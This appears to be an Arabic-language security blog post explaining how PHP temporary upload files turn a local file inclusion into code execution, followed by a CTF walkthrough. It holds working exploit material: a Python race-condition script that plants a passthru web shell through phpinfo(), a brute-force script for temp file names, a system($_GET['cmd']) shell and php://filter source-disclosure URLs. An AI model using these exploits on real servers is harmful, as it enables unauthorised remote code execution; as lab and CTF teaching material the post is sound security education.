lfi

Fri, Jul 10, 2020 6-minute read

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله تعالى و بركاته

في البداية

Understanding PHP temporary files

https://www.php.net/manual/en/features.file-upload.post-method.php

https://www.php.net/manual/en/features.file-upload.put-method.php

https://www.macs.hw.ac.uk/~hwloidl/docs/PHP/features.file-upload.html

يمكننا استعمال بوست او put ميثود لرفع الملفات في بي اش بي , بعد رفع الملف , الملف سوف يحفظ في global variables يدعى $_files كالتالي

Images

للمزيد من المعلومات

https://arabicprogrammer.com/article/8708534101/

بعد رفع الملف سوف يخزن في default temp dir للسيرفر by default

يمكنك ان تجده كالتالي في php.ini

Images

ملاحظة انا هنا قمت بتغييره الى d:/phpstudy_pro/temp

قبل التعدلي عليه كان ; upload_tmp_dir

اظن في wamp c:/wamp/tmp

المهم يمكنك معرفة من php.ini كالصورة اعلاه

في ubuntu سوف تكون كالتالي

cat /etc/php/7.0/apache2/php.ini | grep upload_tmp
;upload_tmp_dir =

اذا كان المسار الخاص ب upload_tmp_dir غير writable . بي اش بي سوف يقوم بحفظه في system default temp dir .

اذا كان upload_tmp_dir غير محدد

سيتم استخدام temp directory الافتراضي للنظام

sys_get_temp_dir()

default

C:\Users\lol>php -r "echo sys_get_temp_dir();"
C:\Users\lol\AppData\Local\Temp

edited
قمت بتغييره في php.ini ايضا

sys_temp_dir = "D:/phpstudy_pro/temp"

C:\Users\lol>php -r "echo sys_get_temp_dir();"
D:/phpstudy_pro/temp
C:\Users\lol>

ubuntu

➜ ~ php -r "echo sys_get_temp_dir();"
/tmp
➜  ~ 

التسمية للملفات المؤقتة

بعد التحميل والتخزين في temp directory ، قواعد تسمية الملفات المؤقتة هي كما يلي: الافتراضي هو php+4 أو php+6 أرقام عشوائية وأحرف كبيرة وصغيرة

مثال :

<?php
$file = tmpfile();
$path = stream_get_meta_data($file)['uri'];
print $path."\n";

windows

Images

ترى في ويندوز

php????.tmp

يحتوي على لاحقة tmp تحت النوافذ ، ويحتوي الملف على أربعة أحرف عشوائية

linux كما نرى في

لا يوجد لاحقة في Linux ، ولكن الأحرف العشوائية للملف تتكون بشكل عام من ستة أرقام ،

php???????

Images

كما نلاحظ فانه يكون ارقام و حروف كبيرة و صغير و يكون عشوائية

في ويندوز بي اتش بي يستعمل GetTempFileName() و في لينكس and mkstemp()

للمزيد من المعلومات

https://stackoverflow.com/questions/13037969/how-are-tmp-file-names-in-php-generated

https://linux.die.net/man/3/mktemp

https://linux.die.net/man/3/mkstemp

https://stackoverflow.com/questions/29250512/php-uploads-filesfilenametmp-name-uniqueness

https://github.com/php/php-src/blob/master/main/php_open_temporary_file.c

الصورة من PHP_LFI_rfc1867_temporary_files

في الصورة التالية

مخطط دورة التشغيل لـ PHP عند تحميل الملفات من خلال POST.

Images

يمكنك أن ترى أن فترة بقاء ملفاتنا المؤقتة هي الفترة الزمنية كالتالي

Images

لو انه php انتهى بدون مشاكل و الملف لم ينقل الى مكان اخر او اعادة تسميته

سيتم حذف الملف في نهاية form request

انتباه

ولكن لو انه لم ينتهي بشكل غير طبيعي أثناء تشغيل php

مثل حدوث crash فانه سيتم الاحتفاظ بهذا الملف المؤقت بشكل دائم.

كيفية الحصول على اسم الملف

1 - لدينا lfi و عرفنا كيفية التسمية للملفات المؤقة يمكننا عمل تخمين على اسم الملف يمكن استعمال سكربت لعمل تخمين

2 - تتمثل الطريقة في الحصول من خلال /proc/self/fd/* ، يبدأ * من 10 ، ويتم هنا الحصول على بعض الروابط الرمزية لمعرف العملية قيد التشغيل حاليًا. تعتمد فعالية هذه الطريقة على حجم الملف الذي تم تحميله ، ويمكن أن تزيد الملفات الكبيرة من وقت المحاولة.

3 - في ويندوز . يمكنك استعمال FindFirstFile method للمزيد من المعلومات يمكنك دراسة السورس الخاص ب fimap او البحث في قوقل

https://github.com/kurobeats/fimap/wiki/FimapFindFirstFileExploit

Exploiting time

الان بعد معرفة بعض الاساسيات ننتقل الى الشرح

LFI With PHPInfo Assistance

https://insomniasec.com/cdn-assets/LFI_With_PHPInfo_Assistance.pdf

http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

فل نقل انه هناك local file include لكنك لم تجد اي طريقة لاستغلالها و لكنه يوجد phpinfo() script

لدينا المثال التالي

index.php

<?php
include($_GET['file']);
?>

info.php

<?php
phpinfo();
?>

تكمن الفكرة وراء أسلوب الاستغلال هذا في أنه إذا قبلت PHP تحميل الملفات كالتالي.

Images

Images

من خلال محاولة اجراء عدة upload post لل phpinfo سكريبت والتحكم بعناية في القراءات ، فمن الممكن استرداد اسم الملف المؤقت وتقديم طلب إلى البرنامج النصي LFI

إذا تمكنا من إنشاء ملف كبير بما فيه الكفاية مع كود php ، يجب أن نكون قادرين على التقاط هذه التعليمات قبل حذف الملف ،

وبالتالي race condition.

يمكنك استعمال السكربت التالي

import requests
import ssl
import socket
import urllib3

def SubstrFind(resp, toFind):
	if(len(toFind) > len(resp)):
		return []

	found = False
	indexes = []

	for x in range(0,(len(resp)-len(toFind))+1):
		if(ord(resp[x]) == ord(toFind[0])):
			found = True
			for i in range(0,len(toFind)):
				if(ord(resp[x+i]) != ord(toFind[i])):
					found = False
					break
		if(found):
			indexes.append(x)
			found = False
			x += len(toFind)

	return indexes

def phpinfo_ext(content):
	indexes = SubstrFind(content, "Security Test")
	found = len(indexes) > 0
	got = ""

	if(found):
		start = indexes[0]+11
		for x in range(start, len(content)):
			if(content[x] == '<'):
				break
			got += content[x]

	return got

def phpinfo_request(): 
	TAG="Security Test"
	PAYLOAD="""%s\r
<?php $c=fopen('/tmp/ccc','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
	REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
	padding="A" * 6000
	REQ1="""POST /info.php"""""" HTTP/1.1\r
Z: """+padding+"""\r
Cookie: othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: 127.0.0.1\r
\r
%s""" %(len(REQ1_DATA),REQ1_DATA)

	got = "" 
	sc = urllib3.connection_from_url('http://127.0.0.1')._new_conn()
	sc.connect()
	sc = sc.sock

	payload = REQ1
	sc.send(payload)

	resp = ''
	while 'tmp_name' not in resp:
		x = sc.recv(4096)
		if x == '':
			break
		resp += x
	if("tmp_name" in resp):
		found = 1
		lines = resp.split('\n')
		for line in lines:
			if "tmp_name]" in line:
				mystr = str(line)
				array = mystr.split()
				tmp_name = array[2]
				print(tmp_name)
				break
		tmp_url = "http://127.0.0.1/index.php?file=" + tmp_name
		r = requests.get(tmp_url)#

		content = r.content
		if 'Security Test' in content:
			print "done"
			exit()
		else:
			print('wait ... ')

	return got
		


while True:
	print(phpinfo_request())
sudo inotifywait -m -r /tmp

Images

كما نلاحظ في الصورة انه قام بانشاء ملف يدعى ccc وقام بالتعديل عليه لكنه لم يقم بحذفه

الان نذهب الى المتصفح و نجرب

Images

ctf challenge : https://h4dla3.github.io/post/eagle-jump/ اقرا الجزء الثاني من التحدي

docker container : https://github.com/vulhub/vulhub/tree/master/php/inclusion

( php7 segment fault ) using php://filter/string.strip_tags

شروط الاستخدام اصدارات php التالية

php7.0.0-7.1.2

php7.1.3-7.2.1

php7.2.2-7.2.8

هناك ثغرة lfi يمكننا استعمال php://filter/string.strip_tags لجعل php يعمل crash

اذا تم رفع ملف في نفس الوقت (يعني وقت حدوث الكراش)

سيتم حفظ الملف المؤقت في upload_tmp_dir directory المحدد ، لذلك لن يتم حذفه ، وسيتم تخزينه دائمًا في الدليل المؤقت للخدمة.

segment fault سبب حدوث الكراش null pointer refernce

. atoi(NULL)

مثال

هنا الاصدار لم يحدث شيء

Images

هنا حدث crash

Images

الان نرى

<?php
include($_GET['file']);
?>

الان نجرب في browser

سوف نحصل على شيء مثل هذا

Images

من التحدي السابق

فسنرى انه يقوم بحذف الملف دائما كما قمنا بالشرح فوق

Images

Images

نجرب الان

نجرب نحمل اي ملف

mtucx.txt

<?php
echo 'mtucx';
system($_GET['cmd']);
>

Images

لو نرى هنا اين انا اضع رقم 2 فاننا نرى لم يقم بحذف الملف المؤقت بسبب crash

كما قلنا في الشرح فوق

نجرب

Images

تمام هنا انا عرف اسم tmp filename

اذا لم نكن نعرف يمكننا ان نعمل تخمين على الملف

يمكنك عمل سركبت لعمل ذلك او يمكنك استعمال burp wfuzz gobuster dirbuster … etc

في البداية نجرب نرسل الكثير من الريكوست

يمكنك عمل سكربت لذلك

Images

ارسل اكثر لتزيد فرص و سرعة التخمين المهم ارجو ان تكون فهمت مقصودي

python script

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests, random
import datetime

charset = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"

base_url = "http://127.0.0.1"

def get_filename():
    ret = ""
    for i in range(6):
        ret += random.choice(charset)
    return ret

def brute_force_tmp_files():
    filename = get_filename()
    url = "{}/index.php?lfi=/tmp/php{}".format(base_url, filename)
    print "php" + filename
    try:
        r = requests.get(url)
        if 'mtucx' in r.text:
            print "[+] Include success!"
            print url
            exit()
    except Exception as e:
        pass


def main():
    flag = False
    while 1:
        brute_force_tmp_files()
        pass


if __name__ == "__main__":
    main()

باستعمال burpsuite انا لا استعمل burpsuite في معظم الاحيان لكن بما ان كل الناس تستعملها اردت الشرح عليها

Images

راجع الجزء الخاص بالتسمية فوق

بعد بضع ساعات او اشهر او اعوام ….

Images

الان ناتي الى مثال ctf

في البداية نعمل fuzzخفيف

Images

وجدنا انه هناك ملف dir.php سنعود اليه لاحقا

نرى السورس الخاص بالصفحة

Images

نرى انه هناك اذا md5 للسيكرت و الاسم == الباسوورد

pass=md5(??)&

نلاحظ ان هناك هاش في الكوكيز باسم هاش

Images

نرى الطول

C:\Users\lol\Desktop\ffuf_1.0.2_windows_amd64>python -c "print len('fa25e54758d5d5c1927781a6ede89f8a')"
32

C:\Users\lol\Desktop\ffuf_1.0.2_windows_amd64>

تمام الطول 32 كما نعرف 32 == md5

نجرب

Images

نلاحظ انه يعمل تحويل redirect للصفحة flflflflfag.php

نجرب نراها

Images

اذا هناك lfi واضحة هنا

نجرب php://filter/convret.base64-encode/resource=

http://61da71ac-e4d7-4eac-96c2-58cbde529147.node3.buuoj.cn/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

http://61da71ac-e4d7-4eac-96c2-58cbde529147.node3.buuoj.cn/flflflflag.php?file=php://filter/convert.base64-encode/resource=dir.php

نقوم بعمل decode ل base64

flflflflag.php

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

dir.php

<?php
var_dump(scandir('/tmp'));

Images

نجرب

ما تعلمناه

Images

تمام نجرب

Images

نرى dir.php الان

Images

نعمل include للملف

Images

نرى disable function

disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,scadnir,readfile,show_source,fpassthru,readdir 

eval ليست غير مفعلة نجرب Images

Images

المهم الفلاق موجود

Images

3 ( convert.quoted-printable-encode segment fault )

https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view